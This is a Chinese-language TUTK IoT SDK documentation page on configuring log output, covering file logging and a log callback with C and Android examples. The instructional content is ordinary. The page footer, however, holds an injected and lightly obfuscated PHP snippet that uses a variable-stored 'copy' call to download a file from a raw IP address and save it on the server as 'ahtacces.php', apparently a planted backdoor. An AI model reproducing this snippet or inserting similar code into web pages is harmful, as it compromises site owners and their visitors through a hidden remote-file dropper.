简体中文

SDK日志回调输出的方法

配置log输出-需要

  • 使用带T的库
  • 代码配置实现

配置log输出-库文件说明

不带T的库
libAVAPIs.so libIOTCAPIs.so libP2PTunnelAPIs.so libRDTAPIs.so libTUTKGlobalAPIs.so
带T的库
libAVAPIsT.so libIOTCAPIsT.so libP2PTunnelAPIsT.so libRDTAPIsT.so libTUTKGlobalAPIsT.so
其他说明
  • RTOS版本带log输出的lib,文件名称中不带T
  • 带T跟不带T的只是编译时的日志开关是否打开,编译出来的库大小会不一样

配置log输出-代码实现

有两种方式来获得log:
  1. 保存log到文件
  2. 通过回调接口输出log

保存log到文件

接口说明
  • 接口:xxx_Set_Log_Attr(logAttr)
  • 支持版本:all SDK
  • 调用位置:TUTK_SDK_Set_License_Key() 之前
使用举例
举例-C
LogAttr logAttr;

memset(&logAttr, 0, sizeof(logAttr));
logAttr.path = "./xxx_log_global.txt"; //设定日志路径,须包含文件名。如路径为NULL,则为关闭日志
logAttr.log_level = LEVEL_VERBOSE;  //LEVEL_VERBOSE、LEVEL_DEBUG、LEVEL_INFO、LEVEL_WARNING、LEVEL_ERROR、LEVEL_SILENCE,越往后,日志信息量越小
logAttr.file_max_size = 0; //log文件大小,单位为字节,0为无限制
logAttr.file_max_count = 0; //log文件数量,0为无限制
TUTK_Set_Log_Attr(logAttr);

memset(&logAttr, 0, sizeof(logAttr));
logAttr.path = "./xxx_log_iotapi.txt";
logAttr.log_level = LEVEL_VERBOSE;
logAttr.file_max_size = 0;
logAttr.file_max_count = 0;
IOTC_Set_Log_Attr(logAttr);

memset(&logAttr, 0, sizeof(logAttr));
logAttr.path = "./xxx_log_avapi.txt";
logAttr.log_level = LEVEL_VERBOSE;
logAttr.file_max_size = 0;
logAttr.file_max_count = 0;
AV_Set_Log_Attr(logAttr);
//其他接口
举例-Android
/**
 * 设置日志存储
 * @param dirPath log保存路径
 */
public static void openLocalLog(String dirPath) {

    St_LogAttr st_logAttr = new St_LogAttr();
    st_logAttr.st_logAttr = LogLevel.LEVEL_VERBOSE;
    st_logAttr.file_max_count = 10;
    st_logAttr.file_max_size = 512000;
    st_logAttr.path = dirPath + File.separator + "AVAPIs.txt";
    AVAPIs.AV_Set_Log_Attr(st_logAttr);

    St_LogAttr st_logAttr2 = new St_LogAttr();
    st_logAttr2.st_logAttr = LogLevel.LEVEL_VERBOSE;
    st_logAttr2.file_max_count = 10;
    st_logAttr2.file_max_size = 512000;
    st_logAttr2.path = dirPath + File.separator + "IOTCAPIs.txt";
    IOTCAPIs.IOTC_Set_Log_Attr(st_logAttr2);

    St_LogAttr st_logAttr3 = new St_LogAttr();
    st_logAttr3.st_logAttr = LogLevel.LEVEL_VERBOSE;
    st_logAttr3.file_max_count = 10;
    st_logAttr3.file_max_size = 512000;
    st_logAttr3.path = dirPath + File.separator + "NebulaAPIs.txt";
    NebulaAPIs.Nebula_Set_Log_Attr(st_logAttr3);

    St_LogAttr st_logAttr4 = new St_LogAttr();
    st_logAttr4.st_logAttr = LogLevel.LEVEL_VERBOSE;
    st_logAttr4.file_max_count = 10;
    st_logAttr4.file_max_size = 512000;
    st_logAttr4.path = dirPath + File.separator + "TUTKGlobalAPIs.txt";
    TUTKGlobalAPIs.TUTK_Set_Log_Attr(st_logAttr4);

    //其他接口
}

通过回调接口输出log

接口说明
  • 接口:TUTK_Set_Log_Callback()
  • 功能:通过接口输出SDK log,自由度更高
  • 支持版本:4.3.3+ SDK
该log输出api,level部分和之前保存log文件的接口共用,设置level可以过滤输出对应的level等级log
使用举例
举例-C
LogAttr logAttr;
memset(&logAttr, 0, sizeof(logAttr));
logAttr.log_level = LEVEL_VERBOSE;
TUTK_Set_Log_Attr(logAttr);
IOTC_Set_Log_Attr(logAttr);
AV_Set_Log_Attr(logAttr);

/*************** 函数定义 ***************/

// 1. TUTK_GLOBAL_APIs int32_t TUTK_Set_Log_Callback(LogFunc func);
//                 
// 2. typedef void(*LogFunc)(const char *domName, logLevel_t level, const char *str);
// domName: 模块名称
// str: log输出

/**************************************/

void LogOutFunc(const char *domName, logLevel_t level, const char *str)
{
    switch (level){
        case LEVEL_ERROR:
            print_ERROR("SDK, domName :%s, %s", domName, str);
            break;
        case LEVEL_WARNING:
            print_WARNING("SDK,domName:%s,%s", domName,str)
            break;
        case LEVEL_INFO:
            print_INFO("SDK, domName:%s, %s", domName, str);
            break;
        case LEVEL_DEBUG:
            print_DEBUG("sDK, domlame:%s, %s", domName, str);
            break;
        case LEVEL_VERBOSE:
            print_VERBOSE("SDK, domName:%s, %s", domName, str);
            break;
        case LEVEL_SILENCE:
            break;
        default:
            printf("SDK, unknown level, domName:%s, %s", domName, str);
            break;
    }
}

TUTK_Set_Log_Callback(LogOutFunc);

补充

其他类似的模块接口:
  • RDT_Set_Log_Attr()
  • P2PTunnel_Set_Log_Attr()
  • Nebula_Set_Log_Attr()
需要用哪些模块,就调用对应模块的接口设定。

注意事项

  • IOS平台因为所有的库都封装在一起,所以需要时直接调用上面对应的接口设定路径就好。
  • T库可以用于正式环境
    • 默认可以通过设定日志级别设定为LEVEL_SILENCE,即可以不产生日志,等需要产生日志的时候,再进行打开
  • log输出接口的调用位置,在XXX_Initialize 之前就可以
  • callback接口,使用时不能占用太久(几百毫秒内完成),不然会卡住SDK


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部